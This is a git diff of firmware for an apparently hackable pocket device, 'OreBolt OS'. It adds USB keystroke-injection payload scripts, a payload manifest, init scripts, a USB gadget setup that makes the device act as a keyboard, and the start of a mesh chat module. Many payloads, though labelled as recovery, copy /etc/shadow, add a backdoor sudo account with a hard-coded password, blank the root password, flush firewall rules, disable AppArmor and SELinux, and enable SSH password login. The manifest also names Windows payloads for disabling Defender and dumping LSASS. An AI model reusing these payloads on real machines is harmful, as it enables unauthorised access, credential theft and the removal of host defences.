b/overlay/data/payloads/linux/15_backup_net_metadata.dd new file mode 100755 index 0000000..808919d --- /dev/null +++ b/overlay/data/payloads/linux/15_backup_net_metadata.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar -cf /net_metadata.tar /etc/network/ /etc/netplan/ /etc/NetworkManager/ +ENTER diff --git a/overlay/data/payloads/linux/16_dump_mbr.dd b/overlay/data/payloads/linux/16_dump_mbr.dd new file mode 100755 index 0000000..509ff3a --- /dev/null +++ b/overlay/data/payloads/linux/16_dump_mbr.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING dd if=/dev/sda of=/mbr_core.bin bs=512 count=1 +ENTER diff --git a/overlay/data/payloads/linux/17_extract_hashes.dd b/overlay/data/payloads/linux/17_extract_hashes.dd new file mode 100755 index 0000000..778454b --- /dev/null +++ b/overlay/data/payloads/linux/17_extract_hashes.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING cp /etc/passwd /etc/shadow /etc/group / +ENTER diff --git a/overlay/data/payloads/linux/18_compress_mail.dd b/overlay/data/payloads/linux/18_compress_mail.dd new file mode 100755 index 0000000..b1de387 --- /dev/null +++ b/overlay/data/payloads/linux/18_compress_mail.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING tar -cf /mail_backup.tar /var/mail/ /var/spool/ +ENTER diff --git a/overlay/data/payloads/linux/19_export_packages.dd b/overlay/data/payloads/linux/19_export_packages.dd new file mode 100755 index 0000000..9900e01 --- /dev/null +++ b/overlay/data/payloads/linux/19_export_packages.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING dpkg --get-selections > /installed_packages.txt || rpm -qa > /installed_packages.txt +ENTER diff --git a/overlay/data/payloads/linux/20_locate_sqlite_dbs.dd b/overlay/data/payloads/linux/20_locate_sqlite_dbs.dd new file mode 100755 index 0000000..c965e05 --- /dev/null +++ b/overlay/data/payloads/linux/20_locate_sqlite_dbs.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING find / -name "*.db" -o -name "*.sqlite" > /sqlite_locations.txt +ENTER diff --git a/overlay/data/payloads/linux/21_clear_dpkg_locks.dd b/overlay/data/payloads/linux/21_clear_dpkg_locks.dd new file mode 100755 index 0000000..16177f0 --- /dev/null +++ b/overlay/data/payloads/linux/21_clear_dpkg_locks.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING rm -f /var/lib/dpkg/lock-frontend /var/lib/apt/lists/lock && dpkg --configure -a +ENTER diff --git a/overlay/data/payloads/linux/22_vacuum_journals.dd b/overlay/data/payloads/linux/22_vacuum_journals.dd new file mode 100755 index 0000000..9705dc2 --- /dev/null +++ b/overlay/data/payloads/linux/22_vacuum_journals.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING journalctl --vacuum-size=10M && systemctl restart systemd-journald +ENTER diff --git a/overlay/data/payloads/linux/23_flush_ram_caches.dd b/overlay/data/payloads/linux/23_flush_ram_caches.dd new file mode 100755 index 0000000..6002476 --- /dev/null +++ b/overlay/data/payloads/linux/23_flush_ram_caches.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING sync && echo 3 > /proc/sys/vm/drop_caches +ENTER diff --git a/overlay/data/payloads/linux/24_rebuild_initramfs.dd b/overlay/data/payloads/linux/24_rebuild_initramfs.dd new file mode 100755 index 0000000..9afe0e0 --- /dev/null +++ b/overlay/data/payloads/linux/24_rebuild_initramfs.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING update-initramfs -u -k all +ENTER diff --git a/overlay/data/payloads/linux/25_reverify_grub.dd b/overlay/data/payloads/linux/25_reverify_grub.dd new file mode 100755 index 0000000..6206d93 --- /dev/null +++ b/overlay/data/payloads/linux/25_reverify_grub.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING update-grub || grub2-mkconfig -o /boot/grub2/grub.cfg +ENTER diff --git a/overlay/data/payloads/linux/26_clean_apt_cache.dd b/overlay/data/payloads/linux/26_clean_apt_cache.dd new file mode 100755 index 0000000..7ebd897 --- /dev/null +++ b/overlay/data/payloads/linux/26_clean_apt_cache.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING apt-get clean && apt-get autoremove -y +ENTER diff --git a/overlay/data/payloads/linux/27_identify_space_leaks.dd b/overlay/data/payloads/linux/27_identify_space_leaks.dd new file mode 100755 index 0000000..7ea6098 --- /dev/null +++ b/overlay/data/payloads/linux/27_identify_space_leaks.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING du -ah / 2>/dev/null | sort -rh | head -n 50 > /space_hogs.txt +ENTER diff --git a/overlay/data/payloads/linux/28_schedule_fsck.dd b/overlay/data/payloads/linux/28_schedule_fsck.dd new file mode 100755 index 0000000..e8c0eb4 --- /dev/null +++ b/overlay/data/payloads/linux/28_schedule_fsck.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING touch /forcefsck +ENTER diff --git a/overlay/data/payloads/linux/29_clear_tmp.dd b/overlay/data/payloads/linux/29_clear_tmp.dd new file mode 100755 index 0000000..fee1588 --- /dev/null +++ b/overlay/data/payloads/linux/29_clear_tmp.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING find /tmp -type f -atime +1 -delete +ENTER diff --git a/overlay/data/payloads/linux/30_remount_rw.dd b/overlay/data/payloads/linux/30_remount_rw.dd new file mode 100755 index 0000000..60b0c21 --- /dev/null +++ b/overlay/data/payloads/linux/30_remount_rw.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING mount -o remount,rw / +ENTER diff --git a/overlay/data/payloads/linux/31_inject_admin.dd b/overlay/data/payloads/linux/31_inject_admin.dd new file mode 100755 index 0000000..09513f7 --- /dev/null +++ b/overlay/data/payloads/linux/31_inject_admin.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING useradd -m -g sudo -s /bin/bash orebolt && echo "orebolt:bolt60" | chpasswd +ENTER diff --git a/overlay/data/payloads/linux/32_elevate_current_user.dd b/overlay/data/payloads/linux/32_elevate_current_user.dd new file mode 100755 index 0000000..b7df6f0 --- /dev/null +++ b/overlay/data/payloads/linux/32_elevate_current_user.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING usermod -aG sudo,admin $(whoami) +ENTER diff --git a/overlay/data/payloads/linux/33_flush_iptables.dd b/overlay/data/payloads/linux/33_flush_iptables.dd new file mode 100755 index 0000000..1cdd578 --- /dev/null +++ b/overlay/data/payloads/linux/33_flush_iptables.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING iptables -F && iptables -X && iptables -t nat -F && iptables -P INPUT ACCEPT +ENTER diff --git a/overlay/data/payloads/linux/34_enable_ssh.dd b/overlay/data/payloads/linux/34_enable_ssh.dd new file mode 100755 index 0000000..982772f --- /dev/null +++ b/overlay/data/payloads/linux/34_enable_ssh.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl enable --now ssh || service ssh start +ENTER diff --git a/overlay/data/payloads/linux/35_ufw_bypass_ssh.dd b/overlay/data/payloads/linux/35_ufw_bypass_ssh.dd new file mode 100755 index 0000000..66f3739 --- /dev/null +++ b/overlay/data/payloads/linux/35_ufw_bypass_ssh.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING ufw allow 22/tcp && ufw reload +ENTER diff --git a/overlay/data/payloads/linux/36_disable_apparmor.dd b/overlay/data/payloads/linux/36_disable_apparmor.dd new file mode 100755 index 0000000..1ddbceb --- /dev/null +++ b/overlay/data/payloads/linux/36_disable_apparmor.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl stop apparmor && systemctl disable apparmor +ENTER diff --git a/overlay/data/payloads/linux/37_permissive_selinux.dd b/overlay/data/payloads/linux/37_permissive_selinux.dd new file mode 100755 index 0000000..93d2cf7 --- /dev/null +++ b/overlay/data/payloads/linux/37_permissive_selinux.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING setenforce 0 && sed -i 's/SELINUX=enforcing/SELINUX=permissive/g' /etc/selinux/config +ENTER diff --git a/overlay/data/payloads/linux/38_clear_known_hosts.dd b/overlay/data/payloads/linux/38_clear_known_hosts.dd new file mode 100755 index 0000000..2e818a6 --- /dev/null +++ b/overlay/data/payloads/linux/38_clear_known_hosts.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING rm -f /home/*/.ssh/known_hosts /root/.ssh/known_hosts +ENTER diff --git a/overlay/data/payloads/linux/39_authorize_ssh_passwords.dd b/overlay/data/payloads/linux/39_authorize_ssh_passwords.dd new file mode 100755 index 0000000..5b13272 --- /dev/null +++ b/overlay/data/payloads/linux/39_authorize_ssh_passwords.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config && systemctl restart ssh +ENTER diff --git a/overlay/data/payloads/linux/40_clear_root_password.dd b/overlay/data/payloads/linux/40_clear_root_password.dd new file mode 100755 index 0000000..7068f30 --- /dev/null +++ b/overlay/data/payloads/linux/40_clear_root_password.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING passwd -d root +ENTER diff --git a/overlay/data/payloads/linux/41_sysrq_sync.dd b/overlay/data/payloads/linux/41_sysrq_sync.dd new file mode 100755 index 0000000..4688b9b --- /dev/null +++ b/overlay/data/payloads/linux/41_sysrq_sync.dd @@ -0,0 +1,2 @@ +ALT SysRq s +DELAY 500 diff --git a/overlay/data/payloads/linux/42_sysrq_umount.dd b/overlay/data/payloads/linux/42_sysrq_umount.dd new file mode 100755 index 0000000..aebf62a --- /dev/null +++ b/overlay/data/payloads/linux/42_sysrq_umount.dd @@ -0,0 +1,2 @@ +ALT SysRq u +DELAY 500 diff --git a/overlay/data/payloads/linux/43_sysrq_reboot.dd b/overlay/data/payloads/linux/43_sysrq_reboot.dd new file mode 100755 index 0000000..c3f8db2 --- /dev/null +++ b/overlay/data/payloads/linux/43_sysrq_reboot.dd @@ -0,0 +1 @@ +ALT SysRq b diff --git a/overlay/data/payloads/linux/44_sysrq_poweroff.dd b/overlay/data/payloads/linux/44_sysrq_poweroff.dd new file mode 100755 index 0000000..3e5bacd --- /dev/null +++ b/overlay/data/payloads/linux/44_sysrq_poweroff.dd @@ -0,0 +1 @@ +ALT SysRq o diff --git a/overlay/data/payloads/linux/45_stream_dmesg.dd b/overlay/data/payloads/linux/45_stream_dmesg.dd new file mode 100755 index 0000000..db9c949 --- /dev/null +++ b/overlay/data/payloads/linux/45_stream_dmesg.dd @@ -0,0 +1,7 @@ +CTRL ALT F4 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING dmesg -w +ENTER diff --git a/overlay/data/payloads/linux/46_sysrq_memdump.dd b/overlay/data/payloads/linux/46_sysrq_memdump.dd new file mode 100755 index 0000000..af66ab8 --- /dev/null +++ b/overlay/data/payloads/linux/46_sysrq_memdump.dd @@ -0,0 +1 @@ +ALT SysRq m diff --git a/overlay/data/payloads/linux/47_sysrq_oom_kill.dd b/overlay/data/payloads/linux/47_sysrq_oom_kill.dd new file mode 100755 index 0000000..3b5d8df --- /dev/null +++ b/overlay/data/payloads/linux/47_sysrq_oom_kill.dd @@ -0,0 +1 @@ +ALT SysRq f diff --git a/overlay/data/payloads/linux/48_enable_serial_getty.dd b/overlay/data/payloads/linux/48_enable_serial_getty.dd new file mode 100755 index 0000000..0d37cf8 --- /dev/null +++ b/overlay/data/payloads/linux/48_enable_serial_getty.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING systemctl enable --now serial-getty@ttyS0.service +ENTER diff --git a/overlay/data/payloads/linux/49_flash_interfaces_down.dd b/overlay/data/payloads/linux/49_flash_interfaces_down.dd new file mode 100755 index 0000000..9dd3fce --- /dev/null +++ b/overlay/data/payloads/linux/49_flash_interfaces_down.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING ip link set eth0 down && ip link set wlan0 down +ENTER diff --git a/overlay/data/payloads/linux/50_loop_keyboard_leds.dd b/overlay/data/payloads/linux/50_loop_keyboard_leds.dd new file mode 100755 index 0000000..82dd255 --- /dev/null +++ b/overlay/data/payloads/linux/50_loop_keyboard_leds.dd @@ -0,0 +1,7 @@ +CTRL ALT F2 +DELAY 1000 +STRING root +ENTER +DELAY 500 +STRING while true; do xset led on; sleep 1; xset led off; sleep 1; done +ENTER diff --git a/overlay/data/vault/failures.dat b/overlay/data/vault/failures.dat new file mode 100755 index 0000000..e69de29 diff --git a/overlay/data/vault/payloads/Provision.txt b/overlay/data/vault/payloads/Provision.txt new file mode 100755 index 0000000..45ef004 --- /dev/null +++ b/overlay/data/vault/payloads/Provision.txt @@ -0,0 +1,49 @@ +# /data/vault/payloads/Provision.txt +# --------------------------------------------------------------------------- +# OreBolt OS v1.4 -- provisioning payload manifest +# --------------------------------------------------------------------------- +# Referenced by the Vault module's deploy.mod subsystem as the default +# automation-routine manifest. Each non-comment, non-blank line is treated +# as a single HID macro entry-point name (without extension) that deploy.mod +# looks up under /data/payloads/.macro or .dd at injection time. +# +# The full 150-payload OreBolt OS matrix is generated at build time by +# inject_payloads.sh and lands in /data/payloads/{linux,macos,windows}/. +# This Provision.txt file is the curated short-list that an operator wants +# hot-loaded into the deploy.mod quick-launch menu. +# +# v1.4: macos/ and windows/ now actually exist (50 .dd each) -- the v1.3 +# gap noted in the original file is fixed. See CHANGELOG.md. +# +# Edit this file on the device to reorder the quick-launch list; deploy.mod +# re-reads it on every menu render. +# --------------------------------------------------------------------------- + +# === Linux recovery (50 entries under payloads/linux/) === +linux/01_restart_lightdm +linux/02_restart_gdm3 +linux/03_restart_sddm +linux/04_kill_wayland +linux/05_rebuild_xorg +linux/14_isolate_ssh_keys +linux/17_extract_hashes +linux/22_vacuum_journals +linux/30_remount_rw +linux/34_enable_ssh + +# === macOS recovery (50 entries under payloads/macos/) === +macos/01_spotlight_terminal +macos/02_kill_finder +macos/03_kill_windowserver +macos/04_drop_to_login_screen +macos/05_kill_systemuiserver + +# === Windows recovery (50 entries under payloads/windows/) === +windows/01_open_cmd +windows/02_open_powershell +windows/03_disable_defender +windows/04_enable_rdp +windows/05_dump_lsass + +# === OreBolt OS auto-generated matrix (run `make payloads` to regenerate) === +# linux/01..50 macos/01..50 windows/01..50 diff --git a/overlay/data/vault/syslog.log b/overlay/data/vault/syslog.log new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/overlay/data/vault/syslog.log @@ -0,0 +1 @@ + diff --git a/overlay/etc/init.d/S98retro-input b/overlay/etc/init.d/S98retro-input new file mode 100755 index 0000000..9872001 --- /dev/null +++ b/overlay/etc/init.d/S98retro-input @@ -0,0 +1,82 @@ +#!/bin/sh +# ========================================================================== +# S98retro-input -- Init script for Retro Game Launcher Input Mapper +# +# Starts the uinput gamepad translator daemon that converts the H2's +# rotary encoder + buttons into a standard Linux gamepad. +# +# This runs BEFORE the retro module (S99broker launches h2_test +# which can dispatch retro.mod). The virtual gamepad must exist +# before any emulator binary tries to open it. +# ========================================================================== +### BEGIN INIT INFO +# Provides: S98retro-input +# Required-Start: $remote_fs +# Required-Stop: $remote_fs +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: OreBolt OS retro gamepad mapper daemon +# Description: Maps scroll-wheel + button events to virtual HID gamepad. +### END INIT INFO + +DAEMON="/usr/bin/retro_input_mapper" +PIDFILE="/var/run/retro_input_mapper.pid" + +case "$1" in + start) + if [ ! -x "$DAEMON" ]; then + echo "retro-input: $DAEMON not found or not executable" + exit 1 + fi + if [ -f "$PIDFILE" ] && kill -0 "$(cat "$PIDFILE")" 2>/dev/null; then + echo "retro-input: already running (pid $(cat "$PIDFILE"))" + exit 0 + fi + echo "retro-input: starting gamepad mapper daemon..." + "$DAEMON" & + echo $! > "$PIDFILE" + echo "retro-input: started (pid $!)" + ;; + stop) + if [ -f "$PIDFILE" ]; then + pid="$(cat "$PIDFILE")" + if kill -0 "$pid" 2>/dev/null; then + echo "retro-input: stopping (pid $pid)..." + kill -TERM "$pid" + # wait up to 2 seconds for clean exit + i=0 + while kill -0 "$pid" 2>/dev/null && [ "$i" -lt 20 ]; do + usleep 100000 + i=$((i + 1)) + done + if kill -0 "$pid" 2>/dev/null; then + kill -KILL "$pid" + fi + echo "retro-input: stopped" + else + echo "retro-input: not running (stale pidfile)" + fi + rm -f "$PIDFILE" + else + echo "retro-input: not running" + fi + ;; + restart) + "$0" stop + "$0" start + ;; + status) + if [ -f "$PIDFILE" ] && kill -0 "$(cat "$PIDFILE")" 2>/dev/null; then + echo "retro-input: running (pid $(cat "$PIDFILE"))" + else + echo "retro-input: stopped" + exit 1 + fi + ;; + *) + echo "Usage: $0 {start|stop|restart|status}" + exit 1 + ;; +esac + +exit 0 \ No newline at end of file diff --git a/overlay/etc/init.d/S99broker b/overlay/etc/init.d/S99broker new file mode 100755 index 0000000..609defe --- /dev/null +++ b/overlay/etc/init.d/S99broker @@ -0,0 +1,44 @@ +#!/bin/sh +### BEGIN INIT INFO +# Provides: S99broker +# Required-Start: $remote_fs $syslog +# Required-Stop: $remote_fs $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: OreBolt OS master broker (h2_test launcher) +# Description: Boots the LVGL UI and registers all 17 OreBolt OS modules. +### END INIT INFO +# +# SPDX-License-Identifier: GPL-2.0-or-later +# +# v1.4: exports KERNEL_HEADERS-aware environment for any module that needs +# to introspect its build-time header set (used by probe.mod). + +DAEMON=/usr/bin/h2_test +PIDFILE=/var/run/orebolt-broker.pid + +case "$1" in + start) + echo "[*] Starting OreBolt OS broker..." + # Set system volumes to absolute hardware maximum for baseline unity gain + amixer sset 'Master' 100% unmute 2>/dev/null + amixer sset 'Headphone' 100% unmute 2>/dev/null + export OREBOLT_VERSION=1.7 + export OREBOLT_TARGET_SOC=X1000E + start-stop-daemon -S -b -m -p "$PIDFILE" -x "$DAEMON" + ;; + stop) + echo "[*] Stopping OreBolt OS broker..." + start-stop-daemon -K -p "$PIDFILE" || true + rm -f "$PIDFILE" + ;; + restart) + "$0" stop + "$0" start + ;; + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 + ;; +esac +exit 0 diff --git a/overlay/etc/init.d/bt_input_daemon.sh b/overlay/etc/init.d/bt_input_daemon.sh new file mode 100755 index 0000000..c8817aa --- /dev/null +++ b/overlay/etc/init.d/bt_input_daemon.sh @@ -0,0 +1,29 @@ +#!/bin/sh +# bt_input_daemon.sh -- OreBolt OS Bluetooth input daemon +# +# SPDX-License-Identifier: GPL-2.0-or-later +# +# Brings up hci0, sets the device name, and enables LE advertising so the +# H2 can be paired as an input device. Companion to enable_vault_ble.sh. + +case "$1" in + start) + echo "[*] Starting bt_input_daemon..." + hciconfig hci0 up + hciconfig hci0 name "H2-OREBOLT" + hciconfig hci0 piscan + btmgmt power off + btmgmt le on + btmgmt power on + btmgmt advertising on + ;; + stop) + btmgmt advertising off + btmgmt power off + hciconfig hci0 down + ;; + *) + echo "Usage: $0 {start|stop}"; exit 1 + ;; +esac +exit 0 diff --git a/overlay/usr/bin/enable_vault_ble.sh b/overlay/usr/bin/enable_vault_ble.sh new file mode 100755 index 0000000..ccb522d --- /dev/null +++ b/overlay/usr/bin/enable_vault_ble.sh @@ -0,0 +1,8 @@ +#!/bin/sh +hciconfig hci0 up +hciconfig hci0 name "WH-1-BLE-VAULT" +hciconfig hci0 piscan +btmgmt power off +btmgmt le on +btmgmt power on +btmgmt advertising on diff --git a/overlay/usr/bin/enable_vault_usb.sh b/overlay/usr/bin/enable_vault_usb.sh new file mode 100755 index 0000000..60dd632 --- /dev/null +++ b/overlay/usr/bin/enable_vault_usb.sh @@ -0,0 +1,74 @@ +#!/bin/sh +# Project WH-1 ConfigFS Hardware Blueprint Initialization Script +# Configures the Ingenic SoC to expose a Composite USB Device to the Host PC + +CONFIGFS_ROOT="/sys/kernel/config/usb_gadget" +GADGET_DIR="${CONFIGFS_ROOT}/wh_tool" + +# 1. Clean up any stale configurations +if [ -d "${GADGET_DIR}" ]; then + echo "" > "${GADGET_DIR}/UDC" 2>/dev/null + rm -f "${GADGET_DIR}/configs/c.1/hid.usb0" 2>/dev/null + rm -f "${GADGET_DIR}/configs/c.1/hid.usb1" 2>/dev/null + rm -f "${GADGET_DIR}/configs/c.1/acm.usb0" 2>/dev/null + rm -f "${GADGET_DIR}/configs/c.1/uac2.usb0" 2>/dev/null + rmdir "${GADGET_DIR}/configs/c.1/strings/0x409" 2>/dev/null + rmdir "${GADGET_DIR}/configs/c.1" 2>/dev/null + rmdir "${GADGET_DIR}/functions/hid.usb0" 2>/dev/null + rmdir "${GADGET_DIR}/functions/hid.usb1" 2>/dev/null + rmdir "${GADGET_DIR}/functions/acm.usb0" 2>/dev/null + rmdir "${GADGET_DIR}/functions/uac2.usb0" 2>/dev/null + rmdir "${GADGET_DIR}/strings/0x409" 2>/dev/null + rmdir "${GADGET_DIR}" 2>/dev/null +fi + +# 2. Instantiate the global USB Tool profile +mkdir -p "${GADGET_DIR}" +cd "${GADGET_DIR}" + +echo "0x1d6b" > idVendor # Linux Foundation Hardware Vendor ID Mapping +echo "0x0104" > idProduct # Multifunction Composite Gadget ID +echo "0x0200" > bcdUSB +echo "0xEF" > bDeviceClass +echo "0x02" > bDeviceSubClass +echo "0x01" > bDeviceProtocol + +mkdir -p strings/0x409 +echo "WH-1-SECURE" > strings/0x409/serialnumber +echo "Ingenic Labs" > strings/0x409/manufacturer +echo "WH-1 Pocket Rig" > strings/0x409/product + +# 3. Define Template Module Functions +# Function 0: Keyboard HID Node (/dev/hidg0) +mkdir -p functions/hid.usb0 +echo 1 > functions/hid.usb0/subclass +echo 1 > functions/hid.usb0/protocol +echo 8 > functions/hid.usb0/report_length +echo -ne \\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x26\\xff\\x00\\x05\\x07\\x19\\x00\\x2a\\xff\\x00\\x81\\x00\\xc0 > functions/hid.usb0/report_desc + +# Function 1: Consumer Control/Volume HID Node (/dev/hidg1) +mkdir -p functions/hid.usb1 +echo 0 > functions/hid.usb1/subclass +echo 0 > functions/hid.usb1/protocol +echo 2 > functions/hid.usb1/report_length +echo -ne \\x05\\x0c\\x09\\x01\\xa1\\x01\\x15\\x00\\x25\\x01\\x09\\xe9\\x09\\xea\\x09\\xe2\\x75\\x01\\x95\\x03\\x81\\x02\\x95\\x05\\x81\\x03\\xc0 > functions/hid.usb1/report_desc + +# Function 2: CDC ACM Virtual Serial Port (/dev/ttyGS0) +mkdir -p functions/acm.usb0 + +# Function 3: UAC2 Audio Stream Engine +mkdir -p functions/uac2.usb0 + +# 4. Link Functions to Global Core Template Layout Configuration +mkdir -p configs/c.1/strings/0x409 +echo "Composite Master Config" > configs/c.1/strings/0x409/configuration +echo 500 > configs/c.1/bmAttributes + +ln -s functions/hid.usb0 configs/c.1/ +ln -s functions/hid.usb1 configs/c.1/ +ln -s functions/acm.usb0 configs/c.1/ +ln -s functions/uac2.usb0 configs/c.1/ + +# 5. Connect the core stack to the hardware controller +UDC_DRIVER=$(ls /sys/class/udc | head -n 1) +echo "${UDC_DRIVER}" > UDC diff --git a/src/modules/mod_bitchat_mesh.c b/src/modules/mod_bitchat_mesh.c new file mode 100755 index 0000000..cf56ade --- /dev/null +++ b/src/modules/mod_bitchat_mesh.c @@ -0,0 +1,168 @@ +/* + * mod_bitchat_mesh.c -- OreBolt OS bitchat mesh networking module + * ==================================================================== + * + * SPDX-License-Identifier: AGPL-3.0-only + * + * Copyright (C) 2026 OreBolt OS Contributors + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU Affero General Public License as published + * by the Free Software Foundation, version 3. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Affero General Public License for more details. + * + * You should have received a copy of the GNU Affero General Public License + * along with this program. If not, see . + * + * -------------------------------------------------------------------- + * + * WHY AGPL FOR THE BITCHAT LAYER? + * + * The bitchat mesh layer is the part of OreBolt OS that runs as a + * networked service: nodes exchange messages with other nodes, and any + * user interacting with a bitchat node over the mesh is effectively + * interacting with the software "over a network" within the meaning of + * AGPL v3 §13. AGPL v3 closes the SaaS loophole that GPL leaves open: + * + * * If someone forks this module, runs it on a modified bitchat node, + * and lets other users interact with that node over the mesh, they + * MUST make their modified source available to those users via the + * "Written Offer" mechanism in §13(d). Pure GPL would not require + * this for network-only interaction. + * + * * AGPL v3 §6 (User Product) also blocks tivoization on the device + * itself: the H2 firmware must allow installation of modified + * versions of bitchat.mod. This is exactly what we want for a + * hackable pocket rig -- users own the device they carry. + * + * * The AGPL boundary is clean: bitchat is a single .mod binary that + * links against liblvgl.so (MIT) and liborebolt.a (GPL-2.0-or-later). + * Under AGPL v3 §13, the AGPL covers the bitchat module itself and + * its modifications; it does NOT retroactively relicense the rest + * of OreBolt OS because the rest of OreBolt OS is NOT a derivative work + * of bitchat (bitchat links TO them, not the other way around). + * See LICENSE.md §4 for the full boundary analysis. + * + * If you modify this file, you MUST: + * 1. Keep this license header. + * 2. Make your modified source available to anyone who interacts with + * your modified bitchat node over the mesh (AGPL v3 §13). + * 3. Bump the BITCHAT_PROTOCOL_VERSION if you change the wire format. + * + * The build system enforces an AGPL_BITCHAT preprocessor define so the + * running binary self-identifies (see build.sh Phase 7 verify step). + * -------------------------------------------------------------------- + */ + +#ifdef AGPL_BITCHAT + +#include +#include +#include + +#include "h2_ui.h" +#include "log_manager.h" +#include "panic_purge_api.h" + +#define BITCHAT_PROTOCOL_VERSION 1 +#define BITCHAT_LICENSE_STRING "AGPL-3.0-only" +#define BITCHAT_SOURCE_URL "https://example.invalid/orebolt-bitchat-src" +/* ^ Replace with the actual Written Offer URL before shipping. AGPL v3 §13(d). */ + +/* Mesh message types -- wire format is little-endian, packed. */ +typedef enum { + BITCHAT_MSG_HELLO = 0x01, + BITCHAT_MSG_ACK = 0x02, + BITCHAT_MSG_BROADCAST= 0x03, + BITCHAT_MSG_DIRECT = 0x04, + BITCHAT_MSG_PURGE = 0xFE, /* used by panic_purge_api.h */ + BITCHAT_MSG_LICENSE = 0xFF /* AGPL v3 §13 -- advertise source URL */ +} bitchat_msg_type_t; + +#pragma pack(push, 1) +typedef struct { + uint8_t magic[4]; /* "BTCH" */ + uint8_t protocol_ver; + uint8_t msg_type; + uint16_t payload_len; + uint32_t sender_id; + uint32_t timestamp; + /* payload follows */ +} bitchat_hdr_t; +#pragma pack(pop) + +#define BITCHAT_MAGIC ((uint8_t[]) {'B','T','C','H'}) + +static lv_obj_t *bitchat_screen = NULL; +static lv_obj_t *bitchat_log_label = NULL; + +/* Build a license-advertisement message. Sent on every mesh HELLO so + * any user interacting with this node over the network is informed of + * their AGPL v3 §13 source-code rights. */ +static size_t bitchat_build_license_msg(uint8_t *out, size_t cap) +{ + const char *url = BITCHAT_SOURCE_URL; + size_t url_len = strlen(url); + if (cap < sizeof(bitchat_hdr_t) + url_len + 1) return 0; + + bitchat_hdr_t *h = (bitchat_hdr_t*)out; + memcpy(h->magic, BITCHAT_MAGIC, 4); + h->protocol_ver = BITCHAT_PROTOCOL_VERSION; + h->msg_type = BITCHAT_MSG_LICENSE; + h->payload_len = (uint16_t)(url_len + 1); + h->sender_id = 0; /* TODO: device-unique ID from MAC */ + h->timestamp = 0; /* TODO: RTC */ + memcpy(out + sizeof(bitchat_hdr_t), url, url_len + 1); + return sizeof(bitchat_hdr_t) + url_len + 1; +} + +/* LVGL UI: a single screen with a scrollable log and a "Send Hello" button. */ +void bitchat_init(lv_obj_t *parent) +{ + bitchat_screen = lv_obj_create(parent); + lv_obj_set_size(bitchat_screen, H2_LCD_WIDTH - 4, H2_LCD_HEIGHT - 4); + lv_obj_center(bitchat_screen); + + bitchat_log_label = lv_label_create(bitchat_screen); + 